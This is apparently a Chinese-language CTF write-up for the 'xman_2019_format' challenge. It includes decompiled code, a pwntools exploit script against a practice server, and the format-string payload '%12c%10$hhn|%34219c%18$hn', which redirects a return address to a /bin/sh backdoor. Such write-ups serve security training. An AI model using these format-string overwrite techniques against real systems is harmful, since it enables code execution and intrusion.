xman_2019_format
非栈上格式化字符串
-----劫持ebp
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
32位,只开了nx
直接看主要的函数
char *sub_8048651()
{
void *buf; // [esp+Ch] [ebp-Ch]
puts("...");
buf = malloc(0x100u);
read(0, buf, 0x37u);
return sub_804862A((char *)buf);
}
我们输入的内容,写在chunk里
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax
puts("...");
v1 = strtok(s, "|");
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}
有格式化字符串漏洞,但不能使用栈的手法
发现后门函数
int sh()
{
return system("/bin/sh");
}
思路就是利用栈上已有的数据,布下一个指向函数返回栈的指针,劫持返回栈
劫持返回栈,利用格式化字符串,改二级指针
from pwn import*
from Yapack import *
context(os='linux', arch='i386',log_level='debug')
r,elf=rec("node4.buuoj.cn",29271,"./pwn",10)
sh=0x80485AB
#gdb.attach(r,'b *0x80485f6')
for i in range(16):
try:
sl(b'%12c%10$hhn|%34219c%18$hn')
break
except:
r.close()
continue
#debug()
ia()
需要小爆破一下
然后解释一下各链子的变化
%12c%10$hhn #12就是0xc,通过调试发现,这个地址都是c结尾,所以爆破就是这个原因
0xa(10)处:
0xffffcfc8 —▸ 0xffffcfe8 —▸ 0xffffd0ec
0x12(18)处:
0xffffcfe8 —▸ 0xffffd0ec —▸ 0x8048697
0x13(19)处:
0xffffd0ec —▸ 0x8048697
%34219c%18$hn #34219就是0x85AB,改成后门函数的十进制
0xa(10)处:
0xffffcfc8 —▸ 0xffffcfe8 —▸ 0xffffd0ec
0x12(18)处:
0xffffcfe8 —▸ 0xffffd0ec —▸ 0x80485AB
0x13(19)处:
0xffffd0ec —▸ 0x80485AB
返回就是后门函数,getshell